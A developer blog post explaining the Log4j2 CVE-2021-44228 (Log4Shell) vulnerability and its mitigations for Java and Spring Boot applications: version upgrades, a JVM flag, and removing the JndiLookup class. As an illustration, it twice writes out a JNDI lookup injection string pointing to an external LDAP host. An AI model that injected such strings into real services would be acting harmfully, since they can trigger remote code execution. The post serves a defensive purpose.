Log4J vulnerability: Risks, Mitigation and fixes on Java Spring Boot Applications

There was an advisory ( CVE-2021-44228 ) on a critical vulnerability found on log4j2 ( the most common logging library used in Java applications worldwide developed by Apache Software Foundation ). This vulnerability is identified as a zero-day vulnerability ( meaning it is widely present, but not yet patched ). In this post, we will see in detail what is the vulnerability, how it affects your application, and what can be done to mitigate it in our Java / Spring applications.

Log4J2 Vulnerability

Let’s understand what is this library and how did this vulnerability come into existence and the exploits that can happen.

Log4J

Log4J is a very common logging framework that is used by many applications to generate logs about the application state and different events happening in the system. If you are a software developer, you would know how critical logging is in a production environment as the logs provide insights into the issues and state of the application.

In the Java world, almost every application or framework makes use of the log4j2 library for supporting the logging as it provides simple methods for writing logs to a file with proper information ( timestamp, thread, and other customizable details ) with log rotation and other facilities.

The Vulnerability

The recent vulnerability is identified and affected on the 2.x version of log4j primarily. Log4J 2.x version has got an option called “message lookup substitution”. This was designed to make a JNDI call to substitute some information from a remote resource if a particular format of the log was found. The format can be like ${jndi:ldap//10.10.10.123:1389/o=tomat}. If log4j 2.x identifies a string like this on the log, it will initiate a lookup to call that resource and substitute the response from the resource. This is unchecked and if an attacker finds a way to get a line with malicious JNDI lookup injected into the log, they will be able to execute their exploit code.

Why is this dangerous?

Imagine that your application is logging user input into the logs. This is a common practice for identifying the data coming from the user. Also, you could be having the logging enabled for the headers that are coming in a request. An attacker who is having access to your API could create a request that contains a code like ${jndi:ldap//10.10.10.123:1389/o=tomat} or pass the same in the headers that get logged by our log4j. If you are not having validations before accepting the request payload or headers, this will invoke the vulnerability and create an avenue for the exploit.

Post param exploit ( if request getting logged )

Header exploit ( if headers are getting logged )

Both the above scenarios are very common and there could be a lot of other cases where you could be logging the information coming from requests or others forms of user input to the logs. Due to the widespread use of this library and the ease with which this vulnerability can be exploited, this becomes quite dangerous.

Mitigation in Java / Spring boot

Now that we understand the risk, let’s get it fixed on our systems first before getting into the discussions.

Spring boot – Immediate Checkup

As per the statement from the Spring.io team, this vulnerability is affected only by the log4j-core library. Spring by default uses the log4j-to-slf4j and log4j-api and you will be only affected if you have done some overriding to use the log4j-core.

You can read the full statement on: https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

To ensure that you are safe, it’s better you run a check on the Maven or Gradle to see the dependency tree and if there are any other libraries using the log4j-core. In maven, you could right-click on the pom.xml file and Goto Maven -> Show Effective POM or Generate Dependency tree.

Also, check the artifacts that are getting generated ( jars and wars ) and ensure that the library does not contain the log4j-core included in it.

General Mitigations ( if using log4j-core )

Following general steps can be taken if you are using the affected version of the log4j

1. Upgrade to 2.15.0 version of the log4j that has got this option disabled and fixed.

If your application can be quickly deployed, this would be the best option available to ensure future safety as well.
For spring boot, you could add the following to the properties for upgrading to the 2.15.0 version in the pom file.

Maven

<properties>
    <log4j2.version>2.15.0</log4j2.version>
</properties>

Gradle

ext['log4j2.version'] = '2.15.0'

2. Disable the option of “message substituition lookup” by using Java flags.

One of the quickest fixes that can be applied to production if you have control of the startup script for the java services ( jars ) is to disable the feature of remote lookup by log4j. This can be passed as a java feature flag while starting the service. It’s controlled by the log4j2.formatMsgNoLookups and needs to set the value to true

Example:

java -Dlog4j2.formatMsgNoLookups=true -jar <app.jar>

3. Remove the JNDILookup class from the dependency

This is a hard fix and requires you to remove the JndiLookup.class from all the services where log4j-core is present.
Go to the path where the library jar is present and execute below:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

4. Restricted remote access

If you are running the services in servers with restricted outbound access, this vulnerability may not have an immediate effect as there is no option to load a remote resource. But still, it’s advised to get this fixed at the earliest by upgrading.

5. Use the Spring standard or other non log4j-core based libraries

By default, spring-boot-starter-logging is not affected as it uses the log4j-to-slf4j and log4j-api. Similarly, identify alternates for the project and have them replace the affected one.
Note: In some cases, upgrading the log4j to 2.15.0 could be a lot easier. Please check

6. Using 1.x version of log4j

The 1.x version of log4j is not affected by this vulnerability. But the support is already stopped and there are no updates coming in. So it’s advised to get this upgraded to avoid any other vulnerabilities affecting your system.

Conclusion

It is imperative to look at this vulnerability as critical and get your production systems checked. The simplicity of the exploit makes it very dangerous and also the number of applications using this library is also an alarming concern.